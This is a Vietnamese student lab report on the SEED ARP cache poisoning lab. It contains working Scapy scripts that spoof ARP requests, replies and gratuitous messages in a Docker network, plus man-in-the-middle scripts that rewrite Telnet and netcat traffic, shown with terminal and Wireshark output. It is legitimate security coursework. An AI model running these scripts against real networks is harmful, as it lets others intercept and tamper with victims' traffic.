

BÁO CÁO BÀI TẬP

Môn học: An toàn mạng

Tên chủ đề: Bài tập ARP Cache Poisoning Attack

GVHD: Nghi Hoàng Khoa

a. **THÔNG TIN CHUNG:**

Lớp: NT140.P11.ANTT

STT	Họ và tên	MSSV	Email
1	Tử Chí Kiên	22520713	22520713@gm.uit.edu.vn
2	Nguyễn Thanh Hưng	22520519	22520519@gm.uit.edu.vn
3	Hà Minh Quân	22521177	22521177@gm.uit.edu.vn

b. **NỘI DUNG THỰC HIỆN:**

STT	Công việc	Kết quả tự đánh giá
1	Task 1.A	100%
2	Task 1.B	100%
3	Task 1.C	100%
4	Task 2	100%
5	Task 3	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết.

BÁO CÁO CHI TIẾT

Mục lục:

A.	Container Setup and Commands.....	2
B.	Task 1: ARP Cache Poisoning.....	3
1.	Task 1.A (using ARP request)	3
2.	Task 1.B (using ARP reply)	5
a)	Scenario 1: B's IP is already in A's cache.....	6
b)	Scenario 2: B's IP is not in A's cache	7
3.	Task 1.C (using ARP gratuitous message).....	7
a)	Scenario 1: B's IP is already in A's cache.....	8
b)	Scenario 2: B's IP is not in A's cache	8
C.	Task 2: MITM Attack on Telnet using ARP Cache Poisoning.....	9
4.	Step 1 (Launch the ARP cache poisoning attack).....	9
5.	Step 2 (Testing).....	9
6.	Step 3 (Turn on IP forwarding)	11
7.	Step 4 (Launch the MITM attack)	12
D.	Task 3: MITM Attack on Netcat using ARP Cache Poisoning.....	14

A. Container Setup and Commands

Đầu tiên tải tệp zip trên trang xuống:

- **VM version:** This lab has been tested on our [SEED Ubuntu-20.04 VM](#)
- **Lab setup files**
 - [Labsetup.zip](#)
 - [Labsetup-arm.zip](#) (for Apple Silicon machines)
- **Manual:** [Docker manual](#)

Giải nén thì thấy có một thư mục volumes và một tệp yml

```
[11/15/24] seed@VM:~/.../arp$ unzip Labsetup.zip
Archive:  Labsetup.zip
  creating: Labsetup/
  inflating: Labsetup/docker-compose.yml
  creating: Labsetup/volumes/
  extracting: Labsetup/volumes/.gitignore
[11/15/24] seed@VM:~/.../arp$ █
```

Chạy tệp yaml có 3 máy :

```
[11/15/24] seed@VM:~/.../Labsetup$ docker-compose up
WARNING: Found orphan containers (hostB-10.9.0.6, hostA-10.9.0.5, seed-attacker)
for this project. If you removed or renamed this service in your compose file,
you can run this command with the --remove-orphans flag to clean it up.
Creating B-10.9.0.6 ... done
Creating M-10.9.0.105 ... done
Creating A-10.9.0.5 ... done
Attaching to A-10.9.0.5, M-10.9.0.105, B-10.9.0.6
A-10.9.0.5 | * Starting internet superserver inetd
B-10.9.0.6 | * Starting internet superserver inetd
[ OK ]
[ OK ]
```

Chạy lệnh dockps để biết id của các máy

```
[11/15/24] seed@VM:~/.../Labsetup$ dockps
991849fdc87a M-10.9.0.105
f371682736a2 A-10.9.0.5
866231fb7bd1 B-10.9.0.6
[11/15/24] seed@VM:~/.../Labsetup$
```

Sau khi liệt kê các thư mục thì thấy rằng máy tấn công có thư mục volumes như máy thật, nghĩa là có thể tạo code trong thư mục volumes mà máy tấn công có thể thực hiện

```
root@991849fdc87a:/# ls
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr volumes
root@991849fdc87a:/#
```

B. Task 1: ARP Cache Poisoning

1. Task 1.A (using ARP request)

Để tạo được arp request thì phải biết được các địa chỉ MAC của các máy:

Máy M: 02:42:0a:09:00:69

```
root@991849fdc87a:/volumes# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:09:00:69 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.105/24 brd 10.9.0.255 scope global eth0
        valid_lft forever preferred_lft forever
```

Máy A: 02:42:0a:09:00:05

```
root@f371682736a2:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
        valid_lft forever preferred_lft forever
```

Máy B: 02:42:0a:09:00:06

```
root@866231fb7bd1:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:09:00:06 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.6/24 brd 10.9.0.255 scope global eth0
        valid_lft forever preferred_lft forever
root@866231fb7bd1:/# ^C
```

Giờ tạo một chương trình python:

```
1 from scapy.all import *
2
3 target_ip = "10.9.0.5"
4 spoofed_ip = "10.9.0.6"
5 attacker_mac = "02:42:0a:09:00:69"
6
7 Epkt = Ether(dst="ff:ff:ff:ff:ff:ff")
8 Arppkt = ARP(
9     op=1,           # 1 for ARP request
0     psrc=spoofed_ip,      # source ip
1     pdst=target_ip,      # dst ip
2     hwdst=attacker_mac  # dst MAC
3 )
4
5 pkt= Epkt/Arppkt
6 sendp(pkt, iface="eth0")
7 print(f"Sent ARP request for {target_ip} using ip address {spoofed_ip} and MAC address {attacker_mac}")
```

Chương trình trên sẽ tạo một gói tin arp gửi đến địa chỉ broadcast tìm địa chỉ của máy A với địa chỉ ip của máy B cùng với địa chỉ MAC của máy M

Chạy chương trình trên:

```
root@991849fdc87a:/volumes# python3 Task1A.py
.
Sent 1 packets.
Sent ARP request for 10.9.0.5 using ip address 10.9.0.6 and MAC address 02:42:0a:09:00:69
root@991849fdc87a:/volumes#
```

Khi kiểm tra cache arp thì thấy:

```
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
root@f371682736a2:/#
```

Địa chỉ của máy B nhưng MAC của máy M

3 2024-11-15 08:4... 02:42:0a:09:00:69	ARP	44 who has 10.9.0.5? Tell 10.9.0.6
4 2024-11-15 08:4... 02:42:0a:09:00:69	ARP	44 Who has 10.9.0.5? Tell 10.9.0.6
5 2024-11-15 08:4... 02:42:0a:09:00:05	ARP	44 10.9.0.5 is at 02:42:0a:09:00:05
6 2024-11-15 08:4... 02:42:0a:09:00:05	ARP	44 10.9.0.5 is at 02:42:0a:09:00:05

```
Link-layer address length: 6
Source: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
Unused: 0000
Protocol: ARP (0x0806)
- Address Resolution Protocol (reply)
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: reply (2)
  Sender MAC address: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
  Sender IP address: 10.9.0.5
  Target MAC address: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
  Target IP address: 10.9.0.6
0000 00 03 00 00 01 00 00 02 42 0a 09 00 05 00 00 08 06  ....B .....
```

2. Task 1.B (using ARP reply)

Để tạo một arp reply thì dùng lại chương trình trên rồi chỉnh lại phần dst của ethernet và op = 2

```
1 from scapy.all import *
2
3 target_ip = "10.9.0.5"
4 spoofed_ip = "10.9.0.6"
5 attacker_mac = "02:42:0a:09:00:69"
6
7 Epkt = Ether(dst="02:42:0a:09:00:05")
8 Arppkt = ARP(
9     op=2,           # 2 for ARP response
10    psrc=spoofed_ip,      # source ip
11    pdst=target_ip,      # dst ip
12    hwdst=attacker_mac,  # dst MAC
13 )
14
15 pkt= Epkt/Arppkt
16 sendp(pkt, iface="eth0")
17 print(f"Sent ARP response for {target_ip} using ip address {spoofed_ip} and MAC address {attacker_mac}")
```

a) Scenario 1: B's IP is already in A's cache

Trường hợp này khi B đã có trong cache

```
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@f371682736a2:/# █
```

Chạy chương trình

```
root@991849fdc87a:/volumes# python3 Task1B.py
```

```
. Sent 1 packets.
```

```
Sent ARP response for 10.9.0.5 using ip address 10.9.0.6 and MAC address 02:42:0a:09:00:69
root@991849fdc87a:/volumes#
```

Sẽ thấy gói tin nói là địa chỉ IP B có địa chỉ MAC của máy M

NO.	Time	Source	Destination	Protocol	Length	Info
1	2024-11-15 09:4...	02:42:0a:09:00:69		ARP	44	10.9.0.6 is at 02:42:0a:09:00:69
2	2024-11-15 09:4...	02:42:0a:09:00:69		ARP	44	10.9.0.6 is at 02:42:0a:09:00:69


```
Link-layer address length: 6
Source: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
Unused: 0000
Protocol: ARP (0x0806)
- Address Resolution Protocol (reply)
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: reply (2)
  Sender MAC address: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
  Sender IP address: 10.9.0.6
  Target MAC address: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
  Target IP address: 10.9.0.5
```

Khi mở cache lên thì thấy địa chỉ MAC được cập nhật

```
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
root@f371682736a2:/# █
```

b) Scenario 2: B's IP is not in A's cache

Trong trường hợp này là không có IP B trong cache

```
root@f371682736a2:/# arp -a
```

Sau khi gửi chương trình



```
root@991849fdc87a:/volumes# python3 Task1B.py
.
Sent 1 packets.
Sent ARP response for 10.9.0.5 using ip address 10.9.0.6 and MAC address 02:42:0a:09:00:69
root@991849fdc87a:/volumes#
```

No.	Time	Source	Destination	Protocol	Length	Info
1	2024-11-15 09:2...	02:42:0a:09:00:69		ARP	44	10.9.0.6 is at 02:42:0a:09:00:69
2	2024-11-15 09:2...	02:42:0a:09:00:69		ARP	44	10.9.0.6 is at 02:42:0a:09:00:69

Không có gì được thêm vào cache

```
root@f371682736a2:/# arp -a
root@f371682736a2:/#
```

3. Task 1.C (using ARP gratuitous message).

Tạo một chương trình sau:

```
1 from scapy.all import *
2
3 ip_B = "10.9.0.6"
4
5 Epkt = Ether(dst="ff:ff:ff:ff:ff:ff")
6 Arppkt = ARP(
7     op = 2,
8     psrc = ip_B,
9     pdst = ip_B,
10    hwdst = "ff:ff:ff:ff:ff:ff"
11)
12
13 pkt = Epkt/Arppkt
14 sendp(pkt)
```

a) Scenario 1: B's IP is already in A's cache

Trong trường hợp có ip b:

```
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@f371682736a2:/#
```

Chạy chương trình

```
root@991849fdc87a:/volumes# python3 Task1C.py
.
Sent 1 packets.
```



No.	Time	Source	Destination	Protocol	Length	Info
1	2024-11-15 10:4...	2620:2d:4000:1::23	fd00::f18d:edab:9a1...	TCP	76	80 - 50702 [RST, ACK] Seq=0 Ack=4244178952 Win=65535 Len=0
2	2024-11-15 10:4...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
3	2024-11-15 10:4...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
4	2024-11-15 10:4...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
5	2024-11-15 10:4...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)

Thì địa chỉ MAC bị thay đổi

```
root@f371682736a2:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
root@f371682736a2:/#
```

b) Scenario 2: B's IP is not in A's cache

```
root@f371682736a2:/# arp -a
root@f371682736a2:/#
```

Chạy chương trình

```
Sent 1 packets.
root@991849fdc87a:/volumes# python3 Task1C.py
.
Sent 1 packets.
root@991849fdc87a:/volumes#
```

No.	Time	Source	Destination	Protocol	Length	Info
1	2024-11-15 10:3...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
2	2024-11-15 10:3...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
3	2024-11-15 10:3...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)
4	2024-11-15 10:3...	02:42:0a:09:00:69		ARP	44	Gratuitous ARP for 10.9.0.6 (Reply)

Không có kết quả

```
root@f371682736a2:/# arp -a
root@f371682736a2:/#
```

C. Task 2: MITM Attack on Telnet using ARP Cache Poisoning

4. Step 1 (Launch the ARP cache poisoning attack)

Tạo một chương trình python để đầu độc cache của 2 máy

```

from scapy.all import *
ipA = "10.9.0.5"
MacA = "02:42:0a:09:00:05"
ipB = "10.9.0.6"
MacB = "02:42:0a:09:00:06"
def get_arp_spoof_pkt(victim_ip, victim_mac, spoof_ip):
    E_layer = Ether()
    E_layer.dst = victim_mac
    A_layer = ARP()
    A_layer.psrc = spoof_ip
    A_layer.pdst = victim_ip
    A_layer.op = "who-has"
    return E_layer / A_layer
pkt_a = get_arp_spoof_pkt(ipA, MacA, ipB)
pkt_b = get_arp_spoof_pkt(ipB, MacB, ipA)
pkt_a.show()
pkt_b.show()
sendp(pkt_a)
sendp(pkt_b)

```

5. Step 2 (Testing)

Đầu tiên tắt forwarding trên máy M

```

Sent 1 packets.
root@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip forward = 0

```

Chạy chương trình

```
root@991849fdc87a:/volumes# python3 Task2-1.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
hwtype   = 0x1
ptype    = IPv4
hwlen    = None
plen     = None
op       = who-has
hwsrc   = 02:42:0a:09:00:69
psrc    = 10.9.0.6
hwdst   = 00:00:00:00:00:00
pdst    = 10.9.0.5

###[ Ethernet ]###
dst      = 02:42:0a:09:00:06
src      = 02:42:0a:09:00:69
type     = ARP
```

Và trên máy A ping đến máy B:

```
root@f371682736a2:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.171 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.075 ms
^C
--- 10.9.0.6 ping statistics ---
10 packets transmitted, 2 received, 80% packet loss, time 9222ms
rtt min/avg/max/mdev = 0.075/0.123/0.171/0.048 ms
```

Có 10 gói tin nhưng chỉ có 2 gói tin nhận được

Thì trong wireshark:

No.	Time	Source	Destination	Protocol	Length	Inro
1	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=1/256, ttl=64 (no respons..
2	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=1/256, ttl=64 (no respons..
3	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=1/256, ttl=64 (no respons..
4	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=2/512, ttl=64 (no respons..
5	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=2/512, ttl=64 (no respons..
6	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=2/512, ttl=64 (no respons..
7	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=3/768, ttl=64 (no respons..
8	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=3/768, ttl=64 (no respons..
9	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=3/768, ttl=64 (no respons..
10	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=4/1024, ttl=64 (no respons..
11	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=4/1024, ttl=64 (no respons..
12	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=4/1024, ttl=64 (no respons..
13	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=5/1280, ttl=64 (no respons..
14	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=5/1280, ttl=64 (no respons..
15	2024-11-16 02:0... 10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request	id=0x002e, seq=5/1280, ttl=64 (no respons..
16	2024-11-16 02:0... 02:42:0a:09:00:05		ARP	44	Who has 10.9.0.6? Tell 10.9.0.5	
17	2024-11-16 02:0... 02:42:0a:09:00:05		ARP	44	Who has 10.9.0.6? Tell 10.9.0.5	
18	2024-11-16 02:0... 02:42:0a:09:00:05		ARP	44	Who has 10.9.0.6? Tell 10.9.0.5	

Ở đây sẽ thấy là không có phản hồi từ B nhưng sau một khoảng thời gian thì máy A sẽ tìm lại đúng địa chỉ MAC của B

6. Step 3 (Turn on IP forwarding)

Mở lại forwarding

```
root@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

Chạy chương trình

```
root@991849fdc87a:/volumes# python3 Task2-1.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
hwtype   = 0x1
ptype    = IPv4
hwlen    = None
plen     = None
op       = who-has
hwsrc   = 02:42:0a:09:00:69
```

Khi ping từ A đến B thì:

```
root@f371682736a2:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
54 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=1.36 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
54 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.142 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
54 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.150 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
54 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.111 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
54 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.178 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
54 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.158 ms
^C
--- 10.9.0.6 ping statistics ---
5 packets transmitted, 6 received, 0% packet loss, time 5076ms
rtt min/avg/max/mdev = 0.111/0.349/1.356/0.450 ms
```

Ping không có vấn đề, khi xem wireshark thì thấy có những gói tin redirect từ máy M đến B:

No.	Date	Source	Destination	Protocol	Length	Info
10	2024-11-16 02:1...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x0032, seq=1/256, ttl=63 (reply in 1...
11	2024-11-16 02:1...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x0032, seq=1/256, ttl=64 (request in...
12	2024-11-16 02:1...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x0032, seq=1/256, ttl=64
13	2024-11-16 02:1...	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
14	2024-11-16 02:1...	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
15	2024-11-16 02:1...	02:42:0a:09:00:69		ARP	44	Who has 10.9.0.5? Tell 10.9.0.105
16	2024-11-16 02:1...	02:42:0a:09:00:69		ARP	44	Who has 10.9.0.5? Tell 10.9.0.105
17	2024-11-16 02:1...	02:42:0a:09:00:69		ARP	44	Who has 10.9.0.5? Tell 10.9.0.105
18	2024-11-16 02:1...	02:42:0a:09:00:69		ARP	44	Who has 10.9.0.5? Tell 10.9.0.105
19	2024-11-16 02:1...	02:42:0a:09:00:65		ARP	44	10.9.0.5 is at 02:42:0a:09:00:05
20	2024-11-16 02:1...	02:42:0a:09:00:05		ARP	44	10.9.0.5 is at 02:42:0a:09:00:05
21	2024-11-16 02:1...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x0032, seq=1/256, ttl=63
22	2024-11-16 02:1...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x0032, seq=1/256, ttl=63
23	2024-11-16 02:1...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x0032, seq=2/512, ttl=64 (no respons...
24	2024-11-16 02:1...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x0032, seq=2/512, ttl=64 (no respons...
25	2024-11-16 02:1...	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)
26	2024-11-16 02:1...	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)
27	2024-11-16 02:1...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x0032, seq=2/512, ttl=63 (no respons...

7. Step 4 (Launch the MITM attack)

Sử dụng lại code được cung cấp

```

1#!/usr/bin/env python3
2from scapy.all import *
3
4IP_A = "10.9.0.5"
5MAC_A = "02:42:0a:09:00:05"
6
7IP_B = "10.9.0.6"
8MAC_B = "02:42:0a:09:00:06"
9
10IP_M = "10.9.0.105"
11MAC_M = "02:42:0a:09:00:69"
12
13print("LAUNCHING MITM ATTACK.....")
14
15def spoof_pkt(pkt):
16    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
17        newpkt = IP(bytes(pkt[IP]))
18        del newpkt.chksum
19        del newpkt[TCP].payload
20        del newpkt[TCP].chksum
21
22        if pkt[TCP].payload:
23            data = pkt[TCP].payload.load
24            print("** %s, length: %d" % (data, len(data)))
25
26            newdata = re.sub(r'[0-9a-zA-Z]', 'Z', data.decode())
27            send(newpkt/newdata)
28        else:
29            send(newpkt)
30
31    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
32        newpkt = IP(bytes(pkt[IP]))
33        del newpkt.chksum
34        del newpkt[TCP].chksum
35        send(newpkt)
36
37f = 'tcp'
38pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
39

```

Nhưng với dữ liệu mới sẽ được thay bằng ký tự Z

Cùng với một script tự động đầu arp cache để tránh việc arp được cập nhật lại khi telnet:

```
1#!/usr/bin/env python3
2from scapy.all import *
3import time
4
5ipA = "10.9.0.5"
6ipB = "10.9.0.6"
7
8macM = "02:42:0a:09:00:69"
9ipM = "10.9.0.105"
10
11def sendrequest(ipsrc, ipdst):
12    print(f"Sending packet to {ipsrc}")
13    ether = Ether(src = macM, dst = "ff:ff:ff:ff:ff:ff")
14    arp = ARP(op = 1, psrc = ipsrc, hwsrc = macM, pdst = ipdst)
15    pkt = ether/arp
16    sendp(pkt)
17
18while True:
19    print("Sending to both machine")
20    sendrequest(ipA, ipB)
21    sendrequest(ipB, ipA)
22    time.sleep(5)
23
```

```
root@991849fdc87a:/volumes# ./Task2-1B.py
Sending to both machine
Sending packet to 10.9.0.5
.
Sent 1 packets.
Sending packet to 10.9.0.6
.
Sent 1 packets.
```

Đầu tiên với forwarding đang mở:

```
^Croot@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=1  
net.ipv4.ip_forward = 1
```

Thì không có tác dụng:

```
seed@VM: ~/Labsetup > seed@VM: ~/volumes > seed@VM: ~/volumes >
ient 1 packets.

ient 1 packets.
** b'Z', length: 1

ient 1 packets.

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.co
* Support: https://ubuntu.com/advantage

23
23
5414 This system has been minimized by removing packag
5414 tent that are
5414 not required on a system that users do not log in
5414
511 1 To restore this content, you can run the 'unminim
511 1 and.
511 1 Last login: Sat Nov 16 11:23:22 UTC 2024 from A-1
511 1 t-10.9.0.0 on pts/2
511 1 seed@866231fb7bd1:~$ 1
511 1
```

Giờ với tắt forwarding

```
^Croot@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=0  
net.ipv4.ip forward = 0
```

Đầu tiên và không thể nhập ký tự nữa trong telnet

```
[root@991849fdc87a volumes]# ./task2 -t.py
LAUNCHING MITM ATTACK.....
^Croot@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@991849fdc87a:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
root@991849fdc87a:/volumes#
```

Và khi chạy chương trình thì nhập bất kì ký tự nào cũng ra Z

D. Task 3: MITM Attack on Netcat using ARP Cache Poisoning

Thiết lập netcat:

Trên B mở netcat ở cổng 9090: nc -lp 9090

```
root@866231fb7bd1:/# nc -lp 9090  
hello
```

Trên máy A kết nối đến cổng 9090:

```
root@f371682736a2:/# nc 10.9.0.6 9090  
hello
```

Tạo một script để đổi chuỗi hello thành goodb đối với những gói tin đi từ A đến B

```

1#!/usr/bin/env python3
2from scapy.all import *
3
4# Define IP and MAC addresses
5IP_A = "10.9.0.5"
6MAC_A = "02:42:0a:09:00:05"
7
8IP_B = "10.9.0.6"
9MAC_B = "02:42:0a:09:00:06"
10
11IP_M = "10.9.0.105"
12MAC_M = "02:42:0a:09:00:69"
13
14def tcp_spoof_pkt_netcat(pkt):
15    if pkt[Ether].src != MAC_M: # Ensure this is not our own packet
16        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
17            print("[INFO] Packet from A to B")
18            pkt[Ether].src = MAC_M
19            pkt[Ether].dst = MAC_B
20
21        try:
22            payload = bytes(pkt[TCP].payload).decode("utf-8", errors="ignore")
23            print(f"Original Payload: {repr(payload)}")
24
25            # Replace 'huqing' with 'aaaaaaa'
26            modified_payload = payload.replace("hello", "goodb")
27            print(f"Modified Payload: {repr(modified_payload)}")
28
29            # Update packet with modified payload
30            del pkt[TCP].payload
31
32            del pkt[TCP].chksum
33            pkt[TCP] /= modified_payload
34
35            sendp(pkt, verbose=False)
36        except AttributeError:
37            print("[WARNING] No payload to modify")
38        except Exception as e:
39            print(f"[ERROR] {e}")
40
41    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
42        print("[INFO] Packet from B to A")
43        pkt[Ether].src = MAC_M
44        pkt[Ether].dst = MAC_A
45        sendp(pkt, verbose=False) # Forward the packet
46
47print("[INFO] Starting sniffing...")
48sniff(iface='eth0', filter='tcp', prn=tcp_spoof_pkt_netcat)
49

```

Sau đó phải tắt forwarding

```

root@991849fdc87a:/# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0

```

Chạy chương trình :

```

^Croot@991849fdc87a:/volumes# ./Task3.py
[INFO] Starting sniffing...
[INFO] Packet from A to B

```

Sau đó gửi từ hello bên máy A

```
root@f371682736a2:/# nc 10.9.0.6 9090
hello
hello
hello
```

Bên máy M sẽ thấy:

```
[INFO] Packet from A to B
Original Payload: 'hello\n'
Modified Payload: 'goodb\n'
[INFO] Packet from B to A
```

Và bên máy B thì hello sẽ trở thành goodb:

```
root@866231fb7bd1:/# nc -lp 9090
hello
goodb
hello
```

HẾT